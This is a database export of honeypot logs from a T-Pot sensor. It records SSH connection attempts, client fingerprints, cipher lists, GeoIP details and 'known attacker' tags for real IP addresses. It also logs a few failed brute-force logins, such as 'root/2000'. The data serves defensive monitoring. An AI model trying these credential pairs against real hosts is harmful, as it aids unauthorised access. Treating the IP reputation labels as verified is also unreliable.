"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 41508, "dest_port": 22, "timestamp": "2021-09-20T11:12:56.846624", "@timestamp": "2021-09-20T11:12:56.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26664	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:12:57.010799+03	2021-09-20 14:15:13.568645+03	{"_id": "-AboAnwBvYTbRNuEtCLc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 39178, "dest_port": 22, "timestamp": "2021-09-20T11:12:57.010799", "@timestamp": "2021-09-20T11:12:57.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26665	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:12:56.747272+03	2021-09-20 14:15:13.569645+03	{"_id": "-QboAnwBvYTbRNuEtSKJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:39178 (192.168.176.2:22) [session: 4d858f8e8cda]", "session": "4d858f8e8cda", "@version": "1", "protocol": "ssh", "src_port": 39178, "dest_port": 22, "timestamp": "2021-09-20T11:12:56.747272Z", "@timestamp": "2021-09-20T11:12:56.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26666	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:56.669399+03	2021-09-20 14:15:13.571646+03	{"_id": "_wboAnwBvYTbRNuEtSKJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "593324cf35d9", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:12:56.669399Z", "@timestamp": "2021-09-20T11:12:56.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26668	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:56.847212+03	2021-09-20 14:15:13.573646+03	{"_id": "AQboAnwBvYTbRNuEtSOJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "593324cf35d9", "@version": "1", "timestamp": "2021-09-20T11:12:56.847212Z", "@timestamp": "2021-09-20T11:12:56.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26669	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:12:57.011429+03	2021-09-20 14:15:13.574646+03	{"_id": "AgboAnwBvYTbRNuEtSOJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "4d858f8e8cda", "@version": "1", "timestamp": "2021-09-20T11:12:57.011429Z", "@timestamp": "2021-09-20T11:12:57.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26670	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:57.400995+03	2021-09-20 14:15:13.575646+03	{"_id": "AwboAnwBvYTbRNuEtSOJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "21797af9223e", "@version": "1", "duration": 2.8863327503204346, "timestamp": "2021-09-20T11:12:57.400995Z", "@timestamp": "2021-09-20T11:12:57.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26671	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:58.015726+03	2021-09-20 14:15:13.577647+03	{"_id": "BAboAnwBvYTbRNuEtyOb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1871602542777308, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7246, "dest_port": 22, "timestamp": "2021-09-20T11:12:58.015726Z", "@timestamp": "2021-09-20T11:12:58.015Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26672	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:57.74365+03	2021-09-20 14:15:13.578644+03	{"_id": "BQboAnwBvYTbRNuEuCPE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7246, "timestamp": "2021-09-20T11:12:57.743650", "@timestamp": "2021-09-20T11:12:57.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26673	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:57.738774+03	2021-09-20 14:15:13.579645+03	{"_id": "CwboAnwBvYTbRNuEuSNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7246 (192.168.176.2:22) [session: a9f8234b6960]", "session": "a9f8234b6960", "@version": "1", "protocol": "ssh", "src_port": 7246, "dest_port": 22, "timestamp": "2021-09-20T11:12:57.738774Z", "@timestamp": "2021-09-20T11:12:57.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26674	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:12:58.533397+03	2021-09-20 14:15:13.580646+03	{"_id": "DAboAnwBvYTbRNuEuSNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:46716 (192.168.176.2:22) [session: 40546dfad073]", "session": "40546dfad073", "@version": "1", "protocol": "ssh", "src_port": 46716, "dest_port": 22, "timestamp": "2021-09-20T11:12:58.533397Z", "@timestamp": "2021-09-20T11:12:58.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26675	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:12:58.53635+03	2021-09-20 14:15:13.581645+03	{"_id": "DgboAnwBvYTbRNuEuSNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "40546dfad073", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:12:58.536350Z", "@timestamp": "2021-09-20T11:12:58.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26676	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:57.716403+03	2021-09-20 14:15:13.583645+03	{"_id": "EgboAnwBvYTbRNuEuSNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [secret/secret] failed", "session": "ed9ae4c1b93a", "@version": "1", "password": "secret", "username": "secret", "timestamp": "2021-09-20T11:12:57.716403Z", "@timestamp": "2021-09-20T11:12:57.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26677	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:58.057473+03	2021-09-20 14:15:13.585647+03	{"_id": "EwboAnwBvYTbRNuEuSNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a9f8234b6960", "@version": "1", "timestamp": "2021-09-20T11:12:58.057473Z", "@timestamp": "2021-09-20T11:12:58.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26678	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:12:58.415373+03	2021-09-20 14:15:13.586646+03	{"_id": "FAboAnwBvYTbRNuEuSNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2000] failed", "session": "4d858f8e8cda", "@version": "1", "password": "2000", "username": "root", "timestamp": "2021-09-20T11:12:58.415373Z", "@timestamp": "2021-09-20T11:12:58.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26679	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:12:58.702244+03	2021-09-20 14:15:13.587646+03	{"_id": "FgboAnwBvYTbRNuEuyOD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 441704850822327, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46716, "dest_port": 22, "timestamp": "2021-09-20T11:12:58.702244Z", "@timestamp": "2021-09-20T11:12:58.702Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26680	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:59.389437+03	2021-09-20 14:15:13.589644+03	{"_id": "GgboAnwBvYTbRNuEvSNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48148 (192.168.176.2:22) [session: 81bcbe08f1e5]", "session": "81bcbe08f1e5", "@version": "1", "protocol": "ssh", "src_port": 48148, "dest_port": 22, "timestamp": "2021-09-20T11:12:59.389437Z", "@timestamp": "2021-09-20T11:12:59.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
